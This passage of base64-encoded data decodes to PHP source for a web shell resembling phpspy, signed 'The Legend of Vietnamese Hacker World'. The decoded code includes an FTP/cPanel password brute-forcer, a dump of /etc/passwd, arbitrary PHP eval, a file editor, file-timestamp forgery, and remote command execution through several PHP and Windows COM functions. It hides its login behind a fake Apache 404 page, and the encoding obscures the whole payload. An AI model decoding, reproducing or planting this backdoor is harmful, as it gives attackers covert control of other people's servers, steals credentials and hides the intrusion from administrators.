oJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHsKJF9wYXNzID0gdHJpbSgkcGFzc3dvcmQpOwppZigkb3B0aW9uID09ICJmdHAiKXsKZnRwX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsKfQppZiAoJG9wdGlvbiA9PSAiY3BhbmVsIikKewpjcGFuZWxfY2hlY2soJHRhcmdldCwkX3VzZXIsJF9wYXNzLCRjb25uZWN0X3RpbWVvdXQpOwp9Cn0KfQp9CgoJZm9ybWZvb3QoKTsKfQoKCgoKCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V0Y3B3ZCcpIHsKZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0dldCAvZXRjL3Bhc3N3ZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldGNwd2QnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKJGkgPSAwOwogZWNobyAiPHA+PGJyPjx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1cInBocGNvZGV4eHhcIiBuYW1lPVwicGhwY29kZXh4eFwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMjVcIj4iOwp3aGlsZSAoJGkgPCA2MDAwMCkgewoKICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsKICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgfQoKICAgJGkrKzsKfQogIGVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7Cglmb3JtZm9vdCgpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7CgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOwoJaWYoJHBocGNvZGUpewoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgewoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsKCQl9CgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7CgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nUEhQIENvZGUnLCduYW1lJz0+J3BocGNvZGUnLCAndmFsdWUnPT4kcGhwY29kZSkpOwoJcCgnPHA+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQvcGhwc3B5L3BsdWdpbi8iIHRhcmdldD0iX2JsYW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBldmFsCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgewoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsKCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsKCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOwoJCUBmY2xvc2UoJGZwKTsKCQkkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgZWRpdGZpbGUKCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsKCSRvcGZpbGVtdGltZSA9IEBmaWxlbXRpbWUoJG9wZmlsZSk7CgkvLyR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsKCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ2xvbmUgZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZmlsZScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUmVmZXJlbmNlIGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4ndGFyZmlsZScsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7Cglmb3JtZm9vdGVyKCk7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2V0IGxhc3QgbW9kaWZpZWQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCXAoJzxwPkluc3RlYWQgJnJhcXVvOycpOwoJcCgneWVhcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5ZWFyJywndmFsdWUnPT5kYXRlKCdZJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+NCkpOwoJcCgnbW9udGg6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCdkYXk6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGF5JywndmFsdWUnPT5kYXRlKCdkJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnaG91cjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidob3VyJywndmFsdWUnPT5kYXRlKCdIJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnbWludXRlOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ3NlY29uZDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzZWNvbmQnLCd2YWx1ZSc9PmRhdGUoJ3MnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBuZXd0aW1lCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgewoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7CgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsKCQkJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsKCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOwoJCX0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsKCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7CgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsKCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOwoJCXAoJzxwPicpOwoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsKCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7CgkJcCgnPC9wPicpOwoJCWZvcm1mb290KCk7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7CglpZiAoSVNfV0lOICYmIElTX0NPTSkgewoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsKCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsKCX0KCXAoJzxwPicpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCglpZiAoJGNvbW1hbmQpIHsKCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOwoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7CgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsKCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKCQkJZWNobyAkc3Ryb3V0cHV0OwoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsKCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLAoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykKCQkJKTsKCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOwoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7CgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsKCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7CgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOwoJCQkJfQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7CgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOwoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7CgkJCX0KCQl9IGVsc2UgewoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsKCQl9CgkJcCgnPC9wcmU+Jyk7Cgl9Cn0vL2VuZCBzaGVsbAoKZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7CgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7CgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsKCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsKCSRpbmZvID0gYXJyYXkoCgkJMSA9PiBhcnJheSgnU2VydmVyIFRpbWUnLGRhdGUoJ1kvbS9kIGg6aTpzJywkdGltZXN0YW1wKSksCgkJMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLAoJCTMgPT4gYXJyYXkoJ1NlcnZlciBJUCcsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLAoJCTQgPT4gYXJyYXkoJ1NlcnZlciBPUycsUEhQX09TKSwKCQk1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLAoJCTYgPT4gYXJyYXkoJ1NlcnZlciBTb2Z0d2FyZScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwKCQk3ID0+IGFycmF5KCdTZXJ2ZXIgV2ViIFBvcnQnLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwKCQk4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3NhcGlfbmFtZSgpKSksCgkJOSA9PiBhcnJheSgnVGhlIGZpbGUgcGF0aCcsX19GSUxFX18pLAoKCQkxMCA9PiBhcnJheSgnUEhQIFZlcnNpb24nLFBIUF9WRVJTSU9OKSwKCQkxMSA9PiBhcnJheSgnUEhQSU5GTycsKElTX1BIUElORk8gPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbihcJ3BocGluZm9cJyk7Ij5ZZXM8L2E+JyA6ICdObycpKSwKCQkxMiA9PiBhcnJheSgnU2FmZSBNb2RlJyxnZXRjZmcoJ3NhZmVfbW9kZScpKSwKCQkxMyA9PiBhcnJheSgnQWRtaW5pc3RyYXRvcicsJGFkbWlubWFpbCksCgkJMTQgPT4gYXJyYXkoJ2FsbG93X3VybF9mb3BlbicsZ2V0Y2ZnKCdhbGxvd191cmxfZm9wZW4nKSksCgkJMTUgPT4gYXJyYXkoJ2VuYWJsZV9kbCcsZ2V0Y2ZnKCdlbmFibGVfZGwnKSksCgkJMTYgPT4gYXJyYXkoJ2Rpc3BsYXlfZXJyb3JzJyxnZXRjZmcoJ2Rpc3BsYXlfZXJyb3JzJykpLAoJCTE3ID0+IGFycmF5KCdyZWdpc3Rlcl9nbG9iYWxzJyxnZXRjZmcoJ3JlZ2lzdGVyX2dsb2JhbHMnKSksCgkJMTggPT4gYXJyYXkoJ21hZ2ljX3F1b3Rlc19ncGMnLGdldGNmZygnbWFnaWNfcXVvdGVzX2dwYycpKSwKCQkxOSA9PiBhcnJheSgnbWVtb3J5X2xpbWl0JyxnZXRjZmcoJ21lbW9yeV9saW1pdCcpKSwKCQkyMCA9PiBhcnJheSgncG9zdF9tYXhfc2l6ZScsZ2V0Y2ZnKCdwb3N0X21heF9zaXplJykpLAoJCTIxID0+IGFycmF5KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywkdXBzaXplKSwKCQkyMiA9PiBhcnJheSgnbWF4X2V4ZWN1dGlvbl90aW1lJyxnZXRjZmcoJ21heF9leGVjdXRpb25fdGltZScpLicgc2Vjb25kKHMpJyksCgkJMjMgPT4gYXJyYXkoJ2Rpc2FibGVfZnVuY3Rpb25zJywkZGlzX2Z1bmMpLAoJKTsKCglpZigkcGhwdmFybmFtZSkgewoJCW0oJHBocHZhcm5hbWUgLicgOiAnLmdldGNmZygkcGhwdmFybmFtZSkpOwoJfQoKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXJ2ZXIgZW52aXJvbm1lbnQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywncGhwZW52Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1BsZWFzZSBpbnB1dCBQSFAgY29uZmlndXJhdGlvbiBwYXJhbWV0ZXIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOwoJZm9ybWZvb3RlcigpOwoKCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsKCWZvcigkYT0wOyRhPDI7JGErKykgewoJCXAoJzxoMj4nLiRocFskYV0uJyAmcmFxdW87PC9oMj4nKTsKCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOwoJCWlmICgkYT09MCkgewoJCQlmb3IoJGk9MTskaTw9OTskaSsrKSB7CgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7CgkJCX0KCQl9IGVsc2VpZiAoJGEgPT0gMSkgewoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsKCQkJCXAoJzxsaT48dT4nLiRpbmZvWyRpXVswXS4nOjwvdT4nLiRpbmZvWyRpXVsxXS4nPC9saT4nKTsKCQkJfQoJCX0KCQlwKCc8L3VsPicpOwoJfQp9Ly9lbmQgcGhwZW52CgplbHNlIHsKCW0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsKfQoKPz4KPC90ZD48L3RyPjwvdGFibGU+CjxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMEUwRTBFO2JvcmRlci10b3A6MXB4IHNvbGlkICMwRTBFMEU7YmFja2dyb3VuZDojMEUwRTBFOyI+Cgk8c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48P3BocCBkZWJ1Z2luZm8oKTtvYl9lbmRfZmx1c2goKTs/Pjwvc3Bhbj4KCTxCPlRoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQ8L0I+IEFsbCBSaWdodHMgUmVzZXJ2ZWQuCjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpTaG93IGluZm8gc2hlbGwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8KCmZ1bmN0aW9uIG0oJG1zZykgewoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHggc29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ij4nOwoJZWNobyAkbXNnOwoJZWNobyAnPC9kaXY+JzsKfQpmdW5jdGlvbiBzY29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgewoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7Cgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nvb2tpZXByZSddIDogJycpLiRrZXk7CgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nvb2tpZWxpZmUnXTsKCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7CglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5bJ2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOwp9CmZ1bmN0aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgewoJJG11bHRpcGFnZSA9ICcnOwoJaWYoJG51bSA+ICRwZXJwYWdlKSB7CgkJJHBhZ2UgPSAxMDsKCQkkb2Zmc2V0ID0gNTsKCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8gJHBlcnBhZ2UpOwoJCWlmKCRwYWdlID4gJHBhZ2VzKSB7CgkJCSRmcm9tID0gMTsKCQkJJHRvID0gJHBhZ2VzOwoJCX0gZWxzZSB7CgkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkb2Zmc2V0OwoJCQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNldCAtIDE7CgkJCWlmKCRmcm9tIDwgMSkgewoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207CgkJCQkkZnJvbSA9IDE7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgewoJCQkJCSR0byA9ICRwYWdlOwoJCQkJfQoJCQl9IGVsc2VpZigkdG8gPiAkcGFnZXMpIHsKCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87CgkJCQkkdG8gPSAkcGFnZXM7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgewoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOwoJCQkJfQoJCQl9CgkJfQoJCSRtdWx0aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFnZSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdcJywgMSk7Ij5GaXJzdDwvYT4gJyA6ICcnKS4oJGN1cnBhZ2UgPiAxID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSAtIDEpLicpOyI+UHJldjwvYT4gJyA6ICcnKTsKCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsrKSB7CgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5bJy4kaS4nXTwvYT4gJzsKCQl9CgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlICsgMSkuJyk7Ij5OZXh0PC9hPicgOiAnJykuKCR0byA8ICRwYWdlcyA/ICcgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJHBhZ2VzLicpOyI+TGFzdDwvYT4nIDogJycpOwoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxwPlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7Cgl9CglyZXR1cm4gJG11bHRpcGFnZTsKfQovLyBMb2dpbiBwYWdlCmZ1bmN0aW9uIGxvZ2lucGFnZSgpIHsKPz4KCjxodG1sPiA8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+IDxoMT5Ob3QgRm91bmQ8L2gxPiAgPHA+VGhlIHJlcXVlc3RlZCBVUkwgLyB3YXMgbm90IGZvdW5kIG9uIHRoaXMgc2VydmVyLjwvcD4gPHA+QWRkaXRpb25hbGx5LCBhIDQwNCBOb3QgRm91bmQgZXJyb3Igd2FzIGVuY291bnRlcmVkIHdoaWxlIHRyeWluZyB0byB1c2UgYW4gRXJyb3JEb2N1bWVudCB0byBoYW5kbGUgdGhlIHJlcXVlc3QuPC9wPiA8aHI+ICA8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0ICBQb3J0IDgwPC9hZGRyZXNzPiAgICAgIDxzdHlsZT4gICAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9ICAgICAgPC9zdHlsZT4gIDxjZW50ZXI+IDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPiAgICAgPHNwYW4gc3R5bGU9ImZvbnQ6MTBwdCB0YWhvbWE7Ij48L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPiAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9pbmciIHZhbHVlPSJsb2dpbiI+ICAgICA8L2Zvcm0+IDwvY2VudGVyPiAJPC9odG1sPiAKPD9waHAKCWV4aXQ7Cgp9Ly9lbmQgbG9naW5wYWdlKCkKCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgewoJJHJlcyA9ICcnOwoJaWYgKCRjZmUpIHsKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCQlAZXhlYygkY2ZlLCRyZXMpOwoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOwoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAc3lzdGVtKCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlAb2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNmZSk7CgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCUBvYl9lbmRfY2xlYW4oKTsKCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgewoJCQkkcmVzID0gJyc7CgkJCXdoaWxlKCFAZmVvZigkZikpIHsKCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOwoJCQl9CgkJCUBwY2xvc2UoJGYpOwoJCX0KCX0KCXJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIHdoaWNoKCRwcikgewoJJHBhdGggPSBleGVjdXRlKCJ3aGljaCAkcHIiKTsKCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7Cn0KCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7CglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7CgkJQGZwdXRzKCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOwoJCUBmY2xvc2UoJGZwKTsKCX0KfQoKLy8gRGVidWcKZnVuY3Rpb24gZGVidWdpbmZvKCkgewoJZ2xvYmFsICRzdGFydHRpbWU7CgkkbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOwoJJHRvdGFsdGltZSA9IG51bWJlcl9mb3J